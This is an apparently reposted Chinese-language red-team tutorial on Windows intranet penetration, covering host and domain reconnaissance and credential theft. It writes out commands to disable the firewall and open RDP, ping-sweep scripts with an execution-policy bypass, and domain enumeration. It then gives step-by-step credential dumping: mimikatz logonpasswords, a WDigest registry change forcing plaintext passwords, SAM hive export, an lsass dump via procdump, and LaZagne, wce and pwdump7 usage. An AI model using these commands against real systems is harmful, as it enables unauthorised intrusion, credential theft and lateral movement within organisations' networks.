1、本机基础信息收集
1、查看当前用户,权限
whoami /all
意思:当前用户的用户信息,所属用户组信息和特权信息
作用:是否需要进行提权
2、获取目标主机的用户信息
net user 用户名 # 工作组环境
net user 用户名 /domain # 域内环境
net localgroup administrators #获取本地管理员(通常含有域用户)信息
作用:判断是否存在域
3、查看防火墙相关配置
查看防火墙状态:netsh advfirewall show allprofiles
关闭防火墙:netsh advfirewall set allprofiles state off
查看防火墙配置:netsh firewall show config
开启3389端口:netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
4、Windows操作系统信息
systeminfo
作用:显示计算机的详细配置信息和操作系统属性。它可以提供关于操作系统版本、硬件配置、网络设置等的详细信息
查看操作系统的架构
echo %PROCESSOR_ARCHITECTURE%
作用:通过该信息可以有针对性的上传攻击工具
查看进程情况
tasklist
获知目标主机上面运行着什么软件和服务(如安全防护软件、邮件客户端、VPN、FTP等)
查看软件安装情况
powershell "Get-WmiObject -class Win32_Product | Select-Object -Property name,version"
或
cmd命令 wmic product list brief | more
作用:查看有没有一些第三方工具可以进一步留后门或提权的
查看计划任务
schtasks /query /fo LIST /v
作用:某些定时任务的脚本需要system权限,通过脚本达到提权,或者得到一些敏感信息,比如密码。
补丁列表
wmic qfe list full # 查看全部补丁
获取目标主机系统和其它第三方应用[Java/Oracle/Flash 等]打了哪些补丁,针对补丁进行定向攻击。
5、网络环境
查看网络配置信息
ipconfig /all
查询本机 IP 段,所在域等
查询路由表及所有可用接口的ARP 缓存表
1、route print -4
2、Arp –A
作用:获取路由表内的地址后就可对C段、B段进行探测。
网段
1、namp
2、python脚本
3、cs扫描网段
4、网上查找.bat 或者ps1的脚本
例如.bat
批处理文件使用ping
命令来检查指定网段内的所有IP地址是否可达:
@echo off
setlocal enabledelayedexpansion
REM 设置网段前缀,例如192.168.1
set subnet=192.168.1
echo Scanning IP range: %subnet%.1-254
for /l %%i in (1,1,254) do (
ping -n 1 -w 100 %%subnet%%.%%i > nul
if !errorlevel! == 0 (
echo %%subnet%%.%%i is alive
)
)
endlocal
pause
例如.ps1
根据网络环境更改$subnet
变量的值。在执行PowerShell脚本之前,可能需要更改执行策略以允许脚本运行。可以使用命令Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass临时允许运行脚本。
$subnet = "192.168.1"
Write-Host "Scanning IP range: $subnet.1-254"
for ($i = 1; $i -le 254; $i++) {
$ip = "$subnet.$i"
if (Test-Connection -ComputerName $ip -Count 1 -Quiet) {
Write-Host "$ip is alive"
}
}
IP
1、代理服务器收集网络信息
Internet - 连接 - 局域网设置 - 代理服务器
内网中通常都会有代理服务器,大部分机器都会经过其上外网;代理服务器很有可能和目标内网的机器不在同一个网段,可能会通过代理服务器发现一个新C段
2、探测域内存活主机
利用 ICMP 协议快速探测内网:
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="
PowerShell(需下载 Invoke-TSPingSweep.ps1)
powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1;Invoke-TSPingSweep -StartAddress 192.168.1.1 -EndAddress 192.168.1.254 -ResolveHost -ScanPort -Port 80,445,22"
3、Nbtscan 收集网络信息
nbtscan.exe -m 192.168.1.0/24
4、hosts文件收集网络信息
C:WindowsSystem32driversetchosts 绑定IP和域名
5、登录日志收集网络信息
管理工具 -> 实践查看器 -> Windows日志 -> 安全
端口列表
1、netstat -ano
获知目标主机开放端口对应的常见服务/应用程序[匿名/权限/漏洞等],利用端口进行信息收集。
2、nmap扫描
3、cs端口扫描
4、telnet扫描
5、Metasploit 端口扫描
端口信息
判断域
nslookup 域名
#通过反向解析查询命令 nslookup 来解析域名的IP地址。使用解析出来的IP地址进行对比,判断域控制器和DNS服务器是否在同一台服务器上
systeminfo #如下图所示域即域名,登录服务器为域控制器。如果域显示为WORKGROUP,表示当前服务器不在域内
net config workstation #查看"工作站域"中显示 登录组还是域,是域的话会显示你登录的域名。登录域表明当前用户是域用户登录还是本地用户登录,此处表明当前用户是本地登录。
net time /domain #判断主域,一般域服务器都会同时作为时间服务器。
运行该命令后,一般会有如下三种情况
1、不存在域
2、存在域,但当前用户不是域用户
3、存在域。当前用户是域用户
查看域情况
net
net user # 本机用户列表
net localgroup administrators # 本机管理员[通常含有域用户]
net user /domain # 查询域用户
net group /domain # 查询域里面的工作组
net group "domain admins" /domain # 查询域管理员用户组
net localgroup administrators /domain # 登录本机的域管理员
net localgroup administrators workgroupuser001 /add # 域用户添加到本机
net group "Domain controllers" # 查看域控制器(如果有多台)
net view # 查询同一域内机器列表
net view /domain # 查询所有域或工作组名(不管你登录的时不时域成员,只要机器加入了域就不会报错)
net view /domain:domainname # 指定查询其可用计算机的域或工作组
dsquery
dsquery computer domainroot -limit 65535 && net group "domain computers" /domain # 列出该域内所有机器名
dsquery user domainroot -limit 65535 && net user /domain # 列出该域内所有用户名
dsquery subnet # 列出该域内网段划分
dsquery group && net group /domain # 列出该域内分组
dsquery ou # 列出该域内组织单位
dsquery server && net time /domain # 列出该域内域控制器
2、获取用户密码的工具
mimikatz
wce
Invoke-WCMDump
mimiDbg
LaZagne
nirsoft_package
QuarksPwDump fgdump
mimikatz
注:mimikatz的使用需要administrator用户执行,administrators中的其他用户都不行。
-
本地执行
下载mimikatz程序,找到自己系统对应的位数,右键以管理员身份运行。
#提升权限,进入debug模式
privilege::debug
#抓取密码
sekurlsa::logonpasswords
当目标为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文。
cmd修改注册表命令:
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
#重启或用户重新登录后可以成功抓取
-
SAM表获取hash
#导出SAM数据
reg save HKLMSYSTEM SYSTEM
reg save HKLMSAM SAM
#使用mimikatz提取hash
lsadump::sam /sam:SAM /system:SYSTEM
-
Procdump+Mimikatz
当mimikatz无法在主机上运行时,可以使用微软官方发布的工具Procdump导出lsass.exe:
Copyprocdump64.exe -accepteula -ma lsass.exe lsass.dmp
将lsass.dmp下载到本地后,然后执行mimikatz:
Copymimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
为了方便复制与查看,可以输出到本地文件里面:
Copymimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" > pssword.txt
-
哈希传递攻击PTH:使用mimikatz,将获得的主机NTLM哈希值,进行传递。
-
使用mimikatz导出chrome中的密码
-
读取域控中域成员Hash:在域控上以域管理员身份执行mimikatz
-
通过mimikatz获取RDPwindows远程桌面密码凭证获取
后续针对mimikatz得使用安排一篇文章
LaZagne
LaZagne项目是一个开源应用程序,用于检索存储在本地计算机上的大量密码。每个软件使用不同的技术(明文、api、自定义算法、数据库等)存储密码。这个工具是为查找最常用软件的密码而开发的
下载地址:https://github.com/AlessandroZ/LaZagne
使用:最好是管理员权限运行
1、安装依赖
pip install -r requirements.txt
2、抓取所有支持软件的密码
laZagne.exe all
3、抓取浏览器的密码
laZagne.exe browsers
4、抓取火狐浏览器的密码
laZagne.exe browsers -firefox
5、把所有的密码写入一个文件
laZagne.exe all -oN -output D:BaiduNetdiskDownloadLaZagne-masterLaZagne-master
6、解密域凭据(要解密域凭据,可以通过指定用户 Windows 密码的方式来完成。)
laZagne.exe all -password ZapataVive
wce
这款工具是一款Hash注入神器,不仅可以用于Hash注入,也可以直接获取明文或Hash。这款工具也分为32位和64位两个不同的版本:
1、抓取用户的明文密码: Wce.exe -w
2、抓取hash值: wce.exe -l
3、抓取用户的明文密码写入文件:wce.exe -w > hash.txt
Pwdump7
Pwdump 7是一个免费的Windows实用程序,它能够提取出Windows系统中的口令,并存储在指定的文件中。Pwdump7是Pwdump3e的改进版,该程序能够从Windows目标中提取出NTLM和LanMan口令散列值,而不管是否启用了Syskey(这是一个Windows账户数据库加密工具,是Windows下的一条命令)
抓取hash值: pwdump7.exe
参考文章
https://www.cnblogs.com/bonelee/p/15973848.html
https://www.cnblogs.com/Zerimon/p/16514934.html
https://www.cnblogs.com/dhan/p/18488195
加下方wx,拉你一起进群学习
原文始发于微信公众号(红队蓝军):内网渗透——windows信息收集
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论